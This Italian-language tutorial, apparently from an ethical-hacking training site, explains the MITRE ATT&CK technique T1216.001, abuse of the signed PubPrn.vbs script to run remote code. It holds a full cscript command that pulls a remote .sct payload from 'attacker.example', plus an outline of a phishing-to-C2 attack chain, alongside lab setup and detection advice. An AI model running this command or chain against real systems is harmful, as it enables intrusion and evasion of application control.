Abuso di PubPrn: System Script Proxy Execution via PubPrn (T1216.001)

PubPrn.vbs è uno script Visual Basic firmato Microsoft, distribuito nativamente in Windows, il cui scopo legittimo è pubblicare una stampante in Active Directory Domain Services. La sintassi originale prevede l'invocazione tramite cscript.exe con due parametri, tipicamente il nome della stampante e un percorso LDAP di destinazione.

L'abuso classificato come T1216.001 sfrutta la possibilità, nelle versioni non aggiornate dello script, di passare come secondo argomento un moniker script: che punta a un file scriptlet remoto (.sct) servito via HTTP o HTTPS. Il risultato è l'esecuzione di codice arbitrario ospitato su infrastruttura controllata dall'attaccante, mediato da un binario firmato dal vendor e quindi spesso incluso nelle whitelist di application control.

La tecnica ricade nella tattica TA0005 (Defense Evasion) e si colloca nelle fasi di Execution e Defense Evasion della kill chain, tipicamente dopo un initial access con dropper leggero che invoca il proxy per scaricare il payload di seconda fase. Su Windows 10 e successivi, Microsoft ha modificato PubPrn.vbs limitando il secondo parametro al solo protocollo LDAP://, mitigando la vulnerabilità sulle installazioni aggiornate. Gli attaccanti compensano portando con sé la versione vulnerabile o cercando host legacy. Un solo gruppo APT è documentato nel framework come utilizzatore: APT32, che ha inserito PubPrn negli script di esecuzione delle proprie campagne.

In un red team engagement, l'abuso di PubPrn.vbs rientra nella famiglia dei LOLBAS (Living Off the Land Binaries and Scripts) ed è utile per validare la profondità delle policy di application control e la copertura EDR sui signed script host.

Il comando canonico, sulla versione vulnerabile dello script (pre-aggiornamento Windows 10), è nella forma:

cscript.exe //nologo C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://attacker.example/payload.sct

Il primo argomento (server della stampante) è arbitrario perché l'esecuzione del moniker script: avviene prima della logica di pubblicazione. Il file .sct è un XML che incapsula codice VBScript o JScript nel tag <scriptlet> con <registration> e blocco <script language="JScript">; al suo interno si può istanziare WScript.Shell o ActiveXObject per lanciare comandi, avviare shellcode o caricare .NET assembly via DotNetToJScript.

Per replicare la tecnica in laboratorio conviene predisporre l'ambiente così:

  • Una VM Windows 7 o 8.1, oppure una copia della versione originale di pubprn.vbs estratta da un'immagine legacy, poiché su Windows 10 aggiornato lo script accetta solo LDAP://.
  • Un web server HTTPS con certificato valido, ad esempio Caddy (open source) o nginx (open source), che serve il file .sct.
  • Un generatore di scriptlet come GreatSCT (open source, mantenuto su GitHub) o Nps_Payload (open source), utili per produrre payload compatibili con Cobalt Strike, Metasploit o Sliver.

La catena tipica in un'operazione simulata è: consegna via phishing di un .lnk o .hta che invoca cscript pubprn.vbs con moniker remoto, download del .sct, esecuzione in-memory di un loader che scarica il beacon C2. Per test più realistici si può usare Sliver (open source) o Mythic (open source) come framework C2, evitando strumenti commerciali quando non disponibili.

È importante notare che l'esecuzione avviene nel contesto di cscript.exe, non di pubprn.vbs: le regole di rilevamento devono guardare al command line completo e alla relazione parent-child, non al solo nome del binario. In assessment maturi, questa tecnica viene combinata con T1218 (altri signed binary proxy) per valutare la coerenza delle policy AppLocker o WDAC.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.